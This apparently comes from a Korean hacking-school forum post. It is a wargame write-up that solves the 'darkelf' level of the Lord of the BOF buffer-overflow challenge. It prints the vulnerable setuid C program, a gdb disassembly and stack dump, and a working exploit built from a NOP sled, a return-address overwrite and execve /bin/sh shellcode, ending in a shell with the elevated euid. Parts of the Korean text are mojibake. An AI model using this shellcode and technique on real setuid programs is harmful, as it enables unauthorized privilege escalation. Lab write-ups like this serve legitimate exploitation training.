|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=8608 [º¹»ç]
[wolfman@localhost wolfman]$ ls -al
total 48
drwx------ 2 wolfman wolfman 4096 Mar 29 2010 .
drwxr-xr-x 25 root root 4096 Mar 30 2010 ..
-rw-r--r-- 1 wolfman wolfman 24 Feb 26 2010 .bash_logout
-rw-r--r-- 1 wolfman wolfman 230 Feb 26 2010 .bash_profile
-rw-r--r-- 1 wolfman wolfman 124 Feb 26 2010 .bashrc
-rwxr-xr-x 1 wolfman wolfman 333 Feb 26 2010 .emacs
-rw-r--r-- 1 wolfman wolfman 3394 Feb 26 2010 .screenrc
-rwsr-sr-x 1 darkelf darkelf 12655 Feb 26 2010 darkelf
-rw-r--r-- 1 root root 721 Mar 29 2010 darkelf.c
[wolfman@localhost wolfman]$ cat darkelf.c
/*
The Lord of the BOF : The Fellowship of the BOF
- darkelf
- egghunter + buffer hunter + check length of argv[1]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
ÀÚ... argv[1]ÀÌ 48°³ ÀÌÇϷΠüũµÇ¾î ÀÖÀ¸´Ï...
argv[2]¿¡ ³ÖÀ¸¸é µÈ´Ù...
p.s. argv°¡ ¹ºÁö ¸ð¸£°Ú´Ù¸é C¾ð¾î ¹è¿ö¿Àµµ·Ï...
[wolfman@localhost wolfman]$ bash2
[wolfman@localhost wolfman]$ ls -al
total 48
drwx------ 2 wolfman wolfman 4096 Mar 29 2010 .
drwxr-xr-x 25 root root 4096 Mar 30 2010 ..
-rw-r--r-- 1 wolfman wolfman 24 Feb 26 2010 .bash_logout
-rw-r--r-- 1 wolfman wolfman 230 Feb 26 2010 .bash_profile
-rw-r--r-- 1 wolfman wolfman 124 Feb 26 2010 .bashrc
-rwxr-xr-x 1 wolfman wolfman 333 Feb 26 2010 .emacs
-rw-r--r-- 1 wolfman wolfman 3394 Feb 26 2010 .screenrc
-rwsr-sr-x 1 darkelf darkelf 12655 Feb 26 2010 darkelf
-rw-r--r-- 1 root root 721 Mar 29 2010 darkelf.c
[wolfman@localhost wolfman]$ mkdir tmp
[wolfman@localhost wolfman]$ cp darkelf tmp
[wolfman@localhost wolfman]$ cd tmp
[wolfman@localhost tmp]$ ls
darkelf
[wolfman@localhost tmp]$ gdb -q darkelf
(gdb) set disassembly intel
(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>: push %ebp
0x8048501 <main+1>: mov %ebp,%esp
0x8048503 <main+3>: sub %esp,44
0x8048506 <main+6>: cmp DWORD PTR [%ebp+8],1
0x804850a <main+10>: jg 0x8048523 <main+35>
0x804850c <main+12>: push 0x8048670
0x8048511 <main+17>: call 0x8048410 <printf>
0x8048516 <main+22>: add %esp,4
0x8048519 <main+25>: push 0
0x804851b <main+27>: call 0x8048420 <exit>
0x8048520 <main+32>: add %esp,4
0x8048523 <main+35>: nop
0x8048524 <main+36>: mov DWORD PTR [%ebp-44],0x0
0x804852b <main+43>: nop
0x804852c <main+44>: lea %esi,[%esi*1]
0x8048530 <main+48>: mov %eax,DWORD PTR [%ebp-44]
0x8048533 <main+51>: lea %edx,[%eax*4]
0x804853a <main+58>: mov %eax,%ds:0x80497a4
0x804853f <main+63>: cmp DWORD PTR [%eax+%edx],0
0x8048543 <main+67>: jne 0x8048547 <main+71>
0x8048545 <main+69>: jmp 0x8048587 <main+135>
0x8048547 <main+71>: mov %eax,DWORD PTR [%ebp-44]
0x804854a <main+74>: lea %edx,[%eax*4]
0x8048551 <main+81>: mov %eax,%ds:0x80497a4
0x8048556 <main+86>: mov %edx,DWORD PTR [%eax+%edx]
0x8048559 <main+89>: push %edx
0x804855a <main+90>: call 0x80483f0 <strlen>
0x804855f <main+95>: add %esp,4
0x8048562 <main+98>: mov %eax,%eax
0x8048564 <main+100>: push %eax
0x8048565 <main+101>: push 0
0x8048567 <main+103>: mov %eax,DWORD PTR [%ebp-44]
0x804856a <main+106>: lea %edx,[%eax*4]
0x8048571 <main+113>: mov %eax,%ds:0x80497a4
0x8048576 <main+118>: mov %edx,DWORD PTR [%eax+%edx]
0x8048579 <main+121>: push %edx
0x804857a <main+122>: call 0x8048430 <memset>
0x804857f <main+127>: add %esp,12
0x8048582 <main+130>: inc DWORD PTR [%ebp-44]
---Type <return> to continue, or q <return> to quit---
0x8048585 <main+133>: jmp 0x8048530 <main+48>
0x8048587 <main+135>: mov %eax,DWORD PTR [%ebp+12]
0x804858a <main+138>: add %eax,4
0x804858d <main+141>: mov %edx,DWORD PTR [%eax]
0x804858f <main+143>: add %edx,47
0x8048592 <main+146>: cmp BYTE PTR [%edx],0xbf
0x8048595 <main+149>: je 0x80485b0 <main+176>
0x8048597 <main+151>: push 0x804867c
0x804859c <main+156>: call 0x8048410 <printf>
0x80485a1 <main+161>: add %esp,4
0x80485a4 <main+164>: push 0
0x80485a6 <main+166>: call 0x8048420 <exit>
0x80485ab <main+171>: add %esp,4
0x80485ae <main+174>: mov %esi,%esi
0x80485b0 <main+176>: mov %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>: add %eax,4
0x80485b6 <main+182>: mov %edx,DWORD PTR [%eax]
0x80485b8 <main+184>: push %edx
0x80485b9 <main+185>: call 0x80483f0 <strlen>
0x80485be <main+190>: add %esp,4
0x80485c1 <main+193>: mov %eax,%eax
0x80485c3 <main+195>: cmp %eax,48
0x80485c6 <main+198>: jbe 0x80485e0 <main+224>
0x80485c8 <main+200>: push 0x8048699
0x80485cd <main+205>: call 0x8048410 <printf>
0x80485d2 <main+210>: add %esp,4
0x80485d5 <main+213>: push 0
0x80485d7 <main+215>: call 0x8048420 <exit>
0x80485dc <main+220>: add %esp,4
0x80485df <main+223>: nop
0x80485e0 <main+224>: mov %eax,DWORD PTR [%ebp+12]
0x80485e3 <main+227>: add %eax,4
0x80485e6 <main+230>: mov %edx,DWORD PTR [%eax]
0x80485e8 <main+232>: push %edx
0x80485e9 <main+233>: lea %eax,[%ebp-40]
0x80485ec <main+236>: push %eax
0x80485ed <main+237>: call 0x8048440 <strcpy>
0x80485f2 <main+242>: add %esp,8
0x80485f5 <main+245>: lea %eax,[%ebp-40]
0x80485f8 <main+248>: push %eax
---Type <return> to continue, or q <return> to quit---
0x80485f9 <main+249>: push 0x80486b0
0x80485fe <main+254>: call 0x8048410 <printf>
0x8048603 <main+259>: add %esp,8
0x8048606 <main+262>: push 40
0x8048608 <main+264>: push 0
0x804860a <main+266>: lea %eax,[%ebp-40]
0x804860d <main+269>: push %eax
0x804860e <main+270>: call 0x8048430 <memset>
0x8048613 <main+275>: add %esp,12
0x8048616 <main+278>: leave
0x8048617 <main+279>: ret
0x8048618 <main+280>: nop
0x8048619 <main+281>: nop
0x804861a <main+282>: nop
0x804861b <main+283>: nop
0x804861c <main+284>: nop
0x804861d <main+285>: nop
0x804861e <main+286>: nop
0x804861f <main+287>: nop
End of assembler dump.
(gdb) b *main+237
Breakpoint 1 at 0x80485ed
(gdb) r `python -c 'print "\x90"*44+"\xbf"*4'` `python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
Starting program: /home/wolfman/tmp/darkelf `python -c 'print "\x90"*44+"\xbf"*4'` `python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
Breakpoint 1, 0x80485ed in main ()
(gdb) x/512wx $esp
0xbffff984: 0xbffff990 0xbffffb27 0x00000017 0xbffff9b8
0xbffff994: 0x4000a970 0x400f855b 0x080496d4 0x4000ae60
0xbffff9a4: 0xbffffa04 0xbffff9b8 0x080484eb 0x080496c0
0xbffff9b4: 0x080496d4 0xbffff9d8 0x400309cb 0x00000003
0xbffff9c4: 0xbffffa04 0xbffffa14 0x40013868 0x00000003
0xbffff9d4: 0x08048450 0x00000000 0x08048471 0x08048500
0xbffff9e4: 0x00000003 0xbffffa04 0x08048390 0x0804864c
0xbffff9f4: 0x4000ae60 0xbffff9fc 0x40013e90 0x00000003
0xbffffa04: 0xbffffb0d 0xbffffb27 0xbffffb58 0x00000000
0xbffffa14: 0xbffffc3a 0xbffffc5c 0xbffffc66 0xbffffc74
0xbffffa24: 0xbffffc93 0xbffffca3 0xbffffcbb 0xbffffcd8
0xbffffa34: 0xbffffcf7 0xbffffd02 0xbffffd10 0xbffffd53
0xbffffa44: 0xbffffd68 0xbffffd7b 0xbffffd90 0xbffffda0
0xbffffa54: 0xbffffdad 0xbffffdcc 0xbffffde5 0xbffffdf0
0xbffffa64: 0xbffffe01 0xbffffe17 0xbffffe1f 0x00000000
0xbffffa74: 0x00000003 0x08048034 0x00000004 0x00000020
0xbffffa84: 0x00000005 0x00000006 0x00000006 0x00001000
0xbffffa94: 0x00000007 0x40000000 0x00000008 0x00000000
0xbffffaa4: 0x00000009 0x08048450 0x0000000b 0x000001f9
0xbffffab4: 0x0000000c 0x000001f9 0x0000000d 0x000001f9
0xbffffac4: 0x0000000e 0x000001f9 0x00000010 0x0febfbff
0xbffffad4: 0x0000000f 0xbffffb08 0x00000000 0x00000000
0xbffffae4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffaf4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffb04: 0x00000000 0x36383669 0x6f682f00 0x772f656d
0xbffffb14: 0x6d666c6f 0x742f6e61 0x642f706d 0x656b7261
0xbffffb24: 0x9000666c 0x90909090 0x90909090 0x90909090
0xbffffb34: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb44: 0x90909090 0x90909090 0x90909090 0xbf909090
0xbffffb54: 0x00bfbfbf 0x90909090 0x90909090 0x90909090
0xbffffb64: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb74: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb84: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb94: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffba4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbb4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbc4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbd4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbe4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbf4: 0x90909090 0x90909090 0x90909090 0x90909090
---Type <return> to continue, or q <return> to quit---
0xbffffc04: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc14: 0x90909090 0x90909090 0x90909090 0x6850c031
0xbffffc24: 0x68732f2f 0x69622f68 0x50e3896e 0x89e18953
0xbffffc34: 0xcd0bb0c2 0x00000080 0x00000000 0x00000000
0xbffffc44: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc54: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc64: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc74: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc84: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc94: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffca4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffcb4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffcc4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffcd4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffce4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffcf4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd04: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd14: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd24: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd34: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd44: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd54: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd64: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd74: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd84: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd94: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffda4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffdb4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffdc4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffdd4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffde4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffdf4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe04: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe14: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe24: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe34: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe44: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe54: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe64: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe74: 0x00000000 0x00000000 0x00000000 0x00000000
---Type <return> to continue, or q <return> to quit---
0xbffffe84: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe94: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffea4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffeb4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffec4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffed4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffee4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffef4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff04: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff14: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff24: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff34: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff44: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff54: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff64: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff74: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff84: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffff94: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffffa4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffffb4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffffc4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffffd4: 0x00000000 0x00000000 0x00000000 0x682f0000
0xbfffffe4: 0x2f656d6f 0x666c6f77 0x2f6e616d 0x2f706d74
0xbffffff4: 0x6b726164 0x00666c65 0x00000000 Cannot access memory at address 0xc0000000
(gdb) q
The program is running. Exit anyway? (y or n) y
[wolfman@localhost tmp]$ cd ..
[wolfman@localhost wolfman]$ ls
darkelf darkelf.c tmp
[wolfman@localhost wolfman]$ ./darkelf `python -c 'print "\x90"*44+"\xa4\xfb\xff\xbf"'` `python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
¢´
bash$ my-pass
euid = 506
[??????????????????]
bash$ id
uid=505(wolfman) gid=505(wolfman) euid=506(darkelf) egid=506(darkelf) groups=505(wolfman)
bash$
|
Hit : 1051 Date : 2025/07/03 10:48
|